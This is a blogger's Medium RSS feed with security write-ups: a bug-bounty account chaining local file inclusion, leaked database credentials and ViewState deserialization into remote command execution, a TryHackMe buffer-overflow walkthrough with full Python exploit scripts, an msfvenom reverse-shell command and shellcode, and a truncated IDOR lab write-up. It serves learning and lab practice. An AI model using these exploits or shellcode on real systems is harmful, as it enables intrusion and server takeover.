<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sourabh Purohit on Medium]]></title>
        <description><![CDATA[Stories by Sourabh Purohit on Medium]]></description>
        <link>https://medium.com/@mrknight?source=rss-ad4e957cf322------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VahZNnXMb5JNV-5NQYGKSw.jpeg</url>
            <title>Stories by Sourabh Purohit on Medium</title>
            <link>https://medium.com/@mrknight?source=rss-ad4e957cf322------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:16:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrknight/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Chaining Multiple Website Vulnerabilities: My First Bug Hunt]]></title>
            <link>https://mrknight.medium.com/chaining-multiple-website-vulnerabilities-my-first-bug-hunt-628721499897?source=rss-ad4e957cf322------2</link>
            <guid isPermaLink="false">https://medium.com/p/628721499897</guid>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Sourabh Purohit]]></dc:creator>
            <pubDate>Mon, 17 Jul 2023 18:58:15 GMT</pubDate>
            <atom:updated>2023-07-20T07:35:40.121Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Bug hunting is the process of actively searching for software bugs, vulnerabilities, or weaknesses in computer systems, applications, websites, or networks.</blockquote><h3>Introduction</h3><p>In this article, I will share my journey of finding my first bug in a real website, shedding light on the steps I took and the vulnerabilities I uncovered. From stumbling upon an unexpected LFI from a “View PDF” functionality to unearthing critical information disclosure and Remote Command Execution vulnerabilities. I hope this article helps a lot of new bug hunters.</p><h3>Unearthing a Local File Inclusion (LFI) Vulnerability</h3><blockquote>Local File Inclusion (LFI) is a type of vulnerability that occurs when an application allows user-supplied input to be included as a file on the server. It typically arises from improper input validation or insufficient access controls in a web application.</blockquote><blockquote>When an LFI vulnerability is present, an attacker can manipulate the input to include files from the local file system that are not intended to be accessible.</blockquote><p>During my exploration of the website’s functionalities, I stumbled upon the view receipt feature in the website, which accessed a PDF. I intercepted all the requests that the website was sending and discovered that it was using absolute system path to access that PDF. To my surprise, this functionality neither verified the session cookie nor imposed any restrictions. Seizing the opportunity, I attempted to access the “hosts” file located at “C:/WINDOWS/System32/drivers/etc/hosts,” which confirmed the presence of an LFI vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*NVPfP5ip6AHph6sNbmmF5w.png" /></figure><h3>Expanding the scope of LFI</h3><p>Initially considering the LFI vulnerability to be low-risk, I decided to dig deeper. Using a Python script and a wordlist (found at <a href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt">https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt</a>) I targeted files containing the strings “inetsrv” and “inetpub” on the windows system to look for sensitive files. This helped me to discover a file called “C:/Windows/System32/inetsrv/config/applicationHost.config,” which contained absolute paths of the “wwwroot” where the entire source code of the web application is stored along with other sensitive files like “web.config”. Then, I accessed the “web.config” file which contained a connection string with an IP address, along with username and password details that were used to connect to the database of the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mZJO9jy4Y2zZreP5o4NIA.png" /></figure><p>This meant that I could retrieve and even modify data from any table in the database of the web application by logging in to the MS SQL Server as an administrator. (I didn’t though)</p><h3>Leveraging a Deserialization Flaw in Viewstate Tokens to get Remote Command Execution</h3><p>Now, I started collecting more information about Viewstate tokens and I came across an article (<a href="https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/">https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/</a>) in which I found out that if you get access to the ‘validationKey’ of the viewstate token from the ‘web.config’ file, you could create your own correctly signed viewstate tokens which would contain your own custom powershell or XML code that would execute arbitary system commands on the webserver because of an Insecure Deserialization vulnerability and potentially give you complete control of the webserver.</p><blockquote>Insecure Deserialization is a vulnerability that arises when an application deserializes data from an untrusted or unauthenticated source without proper validation or sanitization. Deserialization is the process of converting serialized data, often in formats like JSON or XML, back into objects in programming languages.</blockquote><blockquote>When an application lacks proper security controls during the deserialization process, it becomes susceptible to Insecure Deserialization vulnerabilities. Attackers can exploit this vulnerability by modifying or crafting maliciously crafted serialized data to execute unauthorized code, tamper with objects, or manipulate the application’s behavior.</blockquote><p>So, I obtained the validationKey from the web.config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kx2yDd1cXzpsZ4_SyoCUyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9D1ewXMiN-mYge_B48rTUw.png" /></figure><p>And then, I used the <a href="https://github.com/pwntester/ysoserial.net">Ysoserial.net</a> tool to create a correctly signed Viewstate token that I can use to execute system commands on the webserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKw3mbhRi3CvqRjiN3pBcg.png" /></figure><p>So, I am using the command “dir G:\inetpub\wwwroot\ &gt; c:\windows\temp\test.txt” which will output a directory listing of the specified folder and save the output into the ‘c:\windows\temp\test.txt’ file.</p><p>Then, I replaced the Viewstate token in the ‘ChangePassword’ request (the one that I used to try changing passwords of other users) with my own custom Viewstate token and sent the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwMpmSxQOl1t0ySKzEJy-Q.png" /></figure><p>Although this resulted in a validation error, I was able to confirm the RCE (Remote Command Execution) vulnerability by accessing the file that I had created in my command using the LFI vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pdon4RpvxfG57YeVUnsDbg.png" /></figure><p>In the above image, you can see that the command was successfully executed on the webserver and we can see the directory listing in the web server response.</p><h3>Conclusion</h3><p>My journey of finding my first bug in a real website was an eye-opening experience. Through discovering an LFI vulnerability, expanding its scope to get sensitive information like database credentials, and leveraging deserialization attacks, I uncovered a critical Remote Command Execution vulnerability. This journey highlights the importance of rigorous security measures in web development and the constant need for vulnerability testing. May this account inspire aspiring bug hunters and cybersecurity enthusiasts to embark on their own quests for knowledge and website security.</p><p>Note: Please refer to the provided links for detailed information and guidance on the referenced vulnerabilities and attack techniques.</p><p><a href="https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/">https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate</a>/</p><ul><li><a href="https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter">Exploiting __VIEWSTATE without knowing the secrets</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret">Exploiting __VIEWSTATE knowing the secrets</a></li><li><a href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt">Auto_Wordlists/wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists</a></li><li><a href="https://samcurry.net/reading-asp-secrets-for-17000/">Reading ASP secrets for $17,000</a></li><li><a href="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md">hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md at master · carlospolop/hacktricks</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=628721499897" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brainstorm — Tryhackme Writeup]]></title>
            <link>https://mrknight.medium.com/brainstorm-tryhackme-writeup-60fa36bbe14d?source=rss-ad4e957cf322------2</link>
            <guid isPermaLink="false">https://medium.com/p/60fa36bbe14d</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[brainstorm-tryhackme]]></category>
            <category><![CDATA[immunity-debugger]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Sourabh Purohit]]></dc:creator>
            <pubDate>Wed, 12 Oct 2022 17:55:28 GMT</pubDate>
            <atom:updated>2022-10-13T04:04:00.838Z</atom:updated>
            <content:encoded><![CDATA[<h3>Brainstorm — Tryhackme Writeup</h3><p><a href="https://tryhackme.com/room/brainstorm">Brainstorm</a> is a room on <a href="https://tryhackme.com/">Tryhackme</a>. It is based on stack based buffer overflow. We have to write our own exploit to complete this room.</p><p><strong><em>Difficulty</em>: <em>Medium</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*RrJNYEMqbCQH4vq7F6gbFQ.png" /></figure><blockquote><strong>Basic Prerequisites</strong>: You have to understand how buffer overflows work, how computer memory works, what is stack, EIP, ESP and you will also need to know how to use a Debugger on Windows(Immunity Debugger in my case). To write an exploit, you will need to know a scripting language like python. Recommended resources: TCM’s video on <a href="https://www.youtube.com/watch?v=ncBblM920jw&amp;t=4806s">buffer overflows</a> and Computerphile’s video on <a href="https://www.youtube.com/watch?v=1S0aBV-Waeo&amp;t=359s">buffer overflows</a>.</blockquote><p>In this writeup, I am going to use a Kali Linux VM and a Windows machine.</p><p>Let’s Begin</p><h3>Initial Recon</h3><p>First, we do a simple nmap scan on the machine.</p><p>Remember to use the -Pn flag because the machine does not respond to ICMP (ping) requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*rugTUMIv-cTr8yv39xVznw.png" /></figure><p>We see that there are three open ports (3389,21,9999)</p><p><strong>Port 21:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*UKiJI6xQFoMOumrvkcCiUA.png" /></figure><p>We can see that anonymous FTP login is allowed on this machine. So, let’s login and see if we can find something of use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*giA1MTL1KhydZ515EUhevw.png" /></figure><p>We can see that there is a directory called chatserver. Let’s see what is inside this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*k1uM2p3frEs08FceqwbcLg.png" /></figure><p>We found and downloaded a windows executable called ‘chatserver.exe’ and a dll file called essfunc.dll.</p><p><strong>Port 9999:</strong></p><p>Now, let’s try to connect to port 9999 using netcat as we don’t know much about the service running on this port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*F4EowicXZL7kx6sTg0MDSQ.png" /></figure><p>This service is first asking for a username and then for a message. When we enter these details, it displays the message along with the username. Seems like a simple chat application.</p><p>Now, let us transfer the files we found on ftp server to a windows machine and run the executable to see what it is doing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*anygIiUVlSCnJ47Pq6RgvQ.png" /></figure><p>It says ‘Chat Server’. Maybe it is the same executable that is running on port 9999 of the target machine. Let’s confirm it by connecting to it on port 9999 of the windows machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*sP2gLxMFEPX1Z7TWDF2xWg.png" /></figure><p>And it is the same executable running on the target machine.</p><p>Now, as mentioned in the Tasks of the room, we have to test for buffer overflow. To do that, we will be sending a large number of characters to the application when it asks us for the username to try and crash it. I will be sending 4000 A’s to the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0NSXMKZae-brWqN4n8IjEQ.png" /></figure><p>That did not crash the application. So, now let’s send the same input as the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTcA8SJ4JW7Y0f8XkvJQ8A.png" /></figure><p>And the application has crashed which means that the message input is vulnerable to buffer overflow.</p><p>So, now we have to take the following steps to exploit stack based buffer overflow on this executable:<br>1. Fuzzing<br>2. Finding the offset<br>3. Overwriting EIP<br>4. Looking for Bad characters<br>5. Finding a Jump Point (like JMP ESP)<br>6. Jumping to shellcode</p><h3><strong>Exploitation</strong></h3><blockquote><strong><em>Fuzzing</em></strong></blockquote><p>First of all, we have to fire up Immunity debugger and open and run the chatserver application with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjYNUWMlvQrAThcdmPrLrw.png" /></figure><p>Now, we will execute the following python script for fuzzing.</p><pre>#!/usr/bin/python3<br>import sys,socket<br>from time import sleep</pre><pre>buffer=b&quot;A&quot;*100<br>while True:<br>        try:<br>         s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>         s.connect((&#39;&lt;Your Windows Machine IP Here&gt;&#39;,9999))<br>         payload=b&quot;A&quot; + buffer<br>         s.send((b&quot;hey&quot;))<br>         sleep(1)<br>         s.send((payload))<br>         s.close()<br>         sleep(1)<br>         buffer=buffer + b&quot;A&quot;*100<br>        except:<br>         print(&quot;Fuzzing crashed at %s bytes&quot; % str(len(buffer)))<br>         sys.exit()</pre><p>It is just sending increasing number of A’s as the message for the user ’hey’ until the application crashes.</p><p>And the application has crashed.</p><p>Now, Let’s look at the registers in Immunity Debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*GzT2RXSKV7zikJ7Ds-ghIw.png" /></figure><p>We can see that the value of the Extended Instruction Pointer Register (EIP) is ‘41414141&#39; which is hexadecimal format of ‘AAAA’ which means we have overflowed the buffer and modified the value of EIP register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWUeT7ZCVG4d5G56_cY9Ug.png" /></figure><p>We can see that fuzzing crashed at 2400 bytes. After that we have created a pattern using Metasploit’s pattern_create.rb to find the offset in the application.</p><blockquote><strong><em>Finding the offset</em></strong></blockquote><p>First of all we will close Immunity and start it again and then we will attach and run the executable again.</p><p>After that, we will execute the following python script.</p><pre>#!/usr/bin/python3<br>import sys,socket<br>from time import s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dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D&quot;<br>try:<br> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br> s.connect((&#39;&lt;Your Windows Machine IP here&gt;&#39;,9999))<br> s.send((b&quot;hey&quot;))<br> sleep(1)<br> s.send((payload))<br> s.close()<br>except:<br> print(&quot;Error connecting to server&quot;)<br> sys.exit()</pre><p>The value of offset in this code is the pattern that we created in the previous section. Now, let’s execute it.</p><p>After the application crashes, we will again look at the registers in Immunity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*nCnzm1PZ3gF0iB0M6JL1_w.png" /></figure><p>Now, we will copy the value of the EIP register and try to find the offset using Metasploit’s pattern_offset.rb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Qxt4CO2zt1ItIM-7kQ7-2w.png" /></figure><p>And we have found an exact match at offset 2012.</p><blockquote><strong><em>Overwriting EIP</em></strong></blockquote><p>First, we will restart Immunity and chatserver application.</p><p>Then, we execute the following python script.</p><pre>#!/usr/bin/python3<br>import sys,socket<br>from time import sleep</pre><pre>payload=b&quot;A&quot;*2012 + b&quot;C&quot;*4</pre><pre>try:<br>        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>        s.connect((&#39;&lt;Your Windows Machine IP Here&gt;&#39;,9999))<br>        s.send((b&quot;hey&quot;))<br>        sleep(1)<br>        s.send((payload))<br>        s.close()<br>except:<br>        print(&quot;Error connecting to server&quot;)<br>        sys.exit()</pre><p>The above script is sending 2012 A’s because the offset was 2012 after which we can modify the value of EIP. Then, we send 4 C’s (Because the size of EIP is 4 bytes) just to check whether we are able to modify the complete value of EIP according to us or not. The hexadecimal value of ‘CCCC’ is ‘43434343’. So, after execution of this script, the value of EIP should be ‘43434343’. Now, let’s execute.</p><p>After the application crashes, we will again look at the registers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*j2-zSoUrgoC9fKssJ1GOcQ.png" /></figure><p>And we can see that the value of EIP is ‘43434343’ which is exactly what we expected it to be. So, we were successfully able to overwrite the value of EIP register according to us.</p><blockquote><strong><em>Finding Bad Characters</em></strong></blockquote><p>First, we restart Immunity and the chatserver application.</p><p>Now, let us see if there are any bad characters using the following python script.</p><pre>#!/usr/bin/python3<br>import sys,socket<br>from time import sleep</pre><pre>badchars = (b&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10&quot;<br>  b&quot;\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;<br>  b&quot;\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;<br>  b&quot;\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;<br>  b&quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;<br>  b&quot;\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;<br>  b&quot;\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;<br>  b&quot;\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;<br>  b&quot;\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;<br>  b&quot;\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;<br>  b&quot;\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;<br>  b&quot;\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;<br>  b&quot;\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;<br>  b&quot;\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;<br>  b&quot;\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;<br>  b&quot;\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;)</pre><pre>shellcode=b&quot;A&quot;*2012 + b&quot;C&quot;*4 + badchars<br><br>try:<br>        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>        s.connect((&#39;&lt;Your Windows Machine IP here&gt;&#39;,9999))<br>        s.send((b&quot;hey&quot;))<br>        sleep(1)<br>        s.send((shellcode))<br>        s.close()<br>except:<br>        print(&quot;Error connecting to server&quot;)<br>        sys.exit()</pre><p>I have already left out ‘\x00’ which is a known bad character. After executing this script and crashing the application, we will use the mona plugin which is a python script used in Immunity debugger to compare the characters pointed by ESP Stack Pointer with an array of all the hex characters to see whether there are any bad characters or not.</p><p>The below command will create a mona folder.</p><pre>!mona config -set workingfolder c:\mona\%p</pre><p>Then, we will create a byte array just like the one in our python script (excluding the “\x00” character).</p><pre>!mona bytearray -b &quot;\x00&quot;</pre><p>Then, we will compare the mona byte array with the hex values pointed by the ESP Stack Pointer. To do that, we will have to look at the registers to get the address stored in ESP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*vK-c6V6lmrCufesySIBrew.png" /></figure><p>Now we will copy the value of ESP and use it in the below command for comparison.</p><pre>!mona compare -f C:\mona\chatserver\bytearray.bin -a 0119EEAC</pre><p>A popup opens up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtbYP6dhA-A4bostyR_xdg.png" /></figure><p>The status here is unmodified which means that no bad characters were found.</p><blockquote><strong><em>Finding a Jump Point</em></strong></blockquote><p>Now, we will look for a jump point to redirect the execution to our own shellcode. We will use the following mona command.</p><pre>!mona jmp -r esp -cpb &quot;\x00&quot;</pre><p>“\x00” is for bad characters.</p><p>Let’s execute the above command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0mYPr2SeCSiefFf6b4jpXg.png" /></figure><p>In the result, we can see the address ‘0x625014df’ is without any memory protections. So, we will use this address in our final payload to redirect execution to the shellcode that we will generate.</p><blockquote><strong><em>Shellcode</em></strong></blockquote><p>First of all, let’s restart the chatserver application without Immunity Debugger this time.</p><p>Now, we will use the following msfvenom command to generate a shellcode that gives us a reverse shell on our kali machine.</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=&lt;Your Kali Machine IP&gt; LPORT=&lt;Your Listening Port&gt; EXITFUNC=thread -f c -a x86 -b &quot;\x00&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*Je-0POzJAbQYVRSRjvvi9A.png" /></figure><p>Now, we will copy this shellcode to our final python script which is as follows.</p><p>Don’t forget to add a ‘b’ before each line for byte encoding.<br>(Note: You will have to generate your own payload as the IP address and port in the payload will be different for you)</p><pre>#!/usr/bin/python3<br>import sys,socket<br>from time import sleep</pre><pre>revshellcode=(<br>b&quot;\xbd\x02\xf2\xa5\x87\xda\xcd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1&quot;<br>b&quot;\x52\x83\xea\xfc\x31\x6a\x0e\x03\x68\xfc\x47\x72\x90\xe8\x0a&quot;<br>b&quot;\x7d\x68\xe9\x6a\xf7\x8d\xd8\xaa\x63\xc6\x4b\x1b\xe7\x8a\x67&quot;<br>b&quot;\xd0\xa5\x3e\xf3\x94\x61\x31\xb4\x13\x54\x7c\x45\x0f\xa4\x1f&quot;<br>b&quot;\xc5\x52\xf9\xff\xf4\x9c\x0c\xfe\x31\xc0\xfd\x52\xe9\x8e\x50&quot;<br>b&quot;\x42\x9e\xdb\x68\xe9\xec\xca\xe8\x0e\xa4\xed\xd9\x81\xbe\xb7&quot;<br>b&quot;\xf9\x20\x12\xcc\xb3\x3a\x77\xe9\x0a\xb1\x43\x85\x8c\x13\x9a&quot;<br>b&quot;\x66\x22\x5a\x12\x95\x3a\x9b\x95\x46\x49\xd5\xe5\xfb\x4a\x22&quot;<br>b&quot;\x97\x27\xde\xb0\x3f\xa3\x78\x1c\xc1\x60\x1e\xd7\xcd\xcd\x54&quot;<br>b&quot;\xbf\xd1\xd0\xb9\xb4\xee\x59\x3c\x1a\x67\x19\x1b\xbe\x23\xf9&quot;<br>b&quot;\x02\xe7\x89\xac\x3b\xf7\x71\x10\x9e\x7c\x9f\x45\x93\xdf\xc8&quot;<br>b&quot;\xaa\x9e\xdf\x08\xa5\xa9\xac\x3a\x6a\x02\x3a\x77\xe3\x8c\xbd&quot;<br>b&quot;\x78\xde\x69\x51\x87\xe1\x89\x78\x4c\xb5\xd9\x12\x65\xb6\xb1&quot;<br>b&quot;\xe2\x8a\x63\x15\xb2\x24\xdc\xd6\x62\x85\x8c\xbe\x68\x0a\xf2&quot;<br>b&quot;\xdf\x93\xc0\x9b\x4a\x6e\x83\x63\x22\x48\x59\x0c\x31\xa8\x7e&quot;<br>b&quot;\xe7\xbc\x4e\xea\xe7\xe8\xd9\x83\x9e\xb0\x91\x32\x5e\x6f\xdc&quot;<br>b&quot;\x75\xd4\x9c\x21\x3b\x1d\xe8\x31\xac\xed\xa7\x6b\x7b\xf1\x1d&quot;<br>b&quot;\x03\xe7\x60\xfa\xd3\x6e\x99\x55\x84\x27\x6f\xac\x40\xda\xd6&quot;<br>b&quot;\x06\x76\x27\x8e\x61\x32\xfc\x73\x6f\xbb\x71\xcf\x4b\xab\x4f&quot;<br>b&quot;\xd0\xd7\x9f\x1f\x87\x81\x49\xe6\x71\x60\x23\xb0\x2e\x2a\xa3&quot;<br>b&quot;\x45\x1d\xed\xb5\x49\x48\x9b\x59\xfb\x25\xda\x66\x34\xa2\xea&quot;<br>b&quot;\x1f\x28\x52\x14\xca\xe8\x72\xf7\xde\x04\x1b\xae\x8b\xa4\x46&quot;<br>b&quot;\x51\x66\xea\x7e\xd2\x82\x93\x84\xca\xe7\x96\xc1\x4c\x14\xeb&quot;<br>b&quot;\x5a\x39\x1a\x58\x5a\x68&quot;)</pre><pre>shellcode=b&quot;A&quot;*2012 + b&quot;\xdf\x14\x50\x62&quot; + b&quot;\x90&quot;*16 + revshellcode<br></pre><pre>try:<br>        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>        s.connect((&#39;&lt;Your Windows Machine IP Here&gt;&#39;,9999))<br>        s.send((b&quot;hey&quot;))<br>        sleep(1)<br>        s.send((shellcode))<br>        s.close()<br>except:<br>        print(&quot;Error connecting to server&quot;)<br>        sys.exit()</pre><p>This code will overwrite the EIP with the Jump Point address we found and add 16 No-Operation Sleds to increase the size of target data and find the exact shellcode address.</p><p>Before executing the above python script, let’s set up our netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*dSw47ds2wbrjJ_xMGUTY0A.png" /></figure><p>And after executing the script, we got the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*y9U4gt6IoMZh1SocmBNDrw.png" /></figure><p>Now that we have successfully exploited ‘chatserver.exe’ and we have the exploit code, we just have to replace the Windows machine IP in the python script with brainstorm machine IP and create another msfvenom payload with Tryhackme VPN IP instead of local kali machine IP and then replace the shellcode in the python script.</p><p>After doing all of that, we execute the script, and voila! we got a reverse shell as NT Authority (Administrator).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*mCuurSDBBvEeggW45dgKlQ.png" /></figure><p>Now, we have to find the flag. To do that, I am going to check under ‘C:\Users’ and we found a user called drake under whose Desktops folder we found the root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*GyjScsjUUyr8jnp-4iIkVg.png" /></figure><p>We found the flag in root.txt file.</p><p>We have successfully exploited the Brainstorm machine by exploiting a stack based buffer overflow vulnerability in a windows executable.</p><p>That was it for this writeup.</p><p>Thanks for reading. Hope you liked this writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60fa36bbe14d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Corridor — Tryhackme Writeup]]></title>
            <link>https://mrknight.medium.com/corridor-tryhackme-writeup-4a5704cc58bb?source=rss-ad4e957cf322------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a5704cc58bb</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Sourabh Purohit]]></dc:creator>
            <pubDate>Tue, 11 Oct 2022 09:15:17 GMT</pubDate>
            <atom:updated>2022-10-11T09:22:39.454Z</atom:updated>
            <content:encoded><![CDATA[<h3>Corridor — Tryhackme Writeup</h3><p>Corridor is a room on <a href="https://tryhackme.com/">Tryhackme</a>. It is based on IDOR(Insecure direct object references) vulnerability.</p><p>IDOR is an access control vulnerability which allows an attacker to access objects directly based on user input. It could allow an attacker access to a location on the website that he/she was not supposed to access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DFgqPuvtPpyXAtuPHXOHhA.png" /></figure><p>On the home page of the website, we can see that all the doors are hyperlinks which are taking us to a different page that just shows us an empty room like shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wjh6zEkgkuplultZMe0iBA.png" /></figure><p>All the links are taking us to the same empty room.</p><p>In the description of the room, we can see that the hexadecimal names of these empty room pages may be hashes.</p><p>So, first of all we will try to identify the hash shown in the url of the first door.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*pjl8r6lKfFGDQwOAxwC2sw.png" /></figure><p>The hash is identified as MD5 or MD4. Now let’s pass this hash to john the ripper to try cracking it using MD5 as format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*QBzSHUTVSNjqn7SroXU5LQ.png" /></figure><p>The hash was of the string ‘1’.</p><p>I tried to crack the hashes of all the pages the same way and I noticed that the original strings of those hashes range from ‘1’ to ‘13’.</p><p>It means that we can access pages ranging from 1 to 13. Now, let’s try to access page ‘0’. To do that we will have to generate MD5 hash of the string ‘0’ and add that hash to the url to try and find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5A0OgQ8urr0H6wiWsUo6A.png" /></figure><p>Now, let’s add this to the url.</p><figure><img alt="" 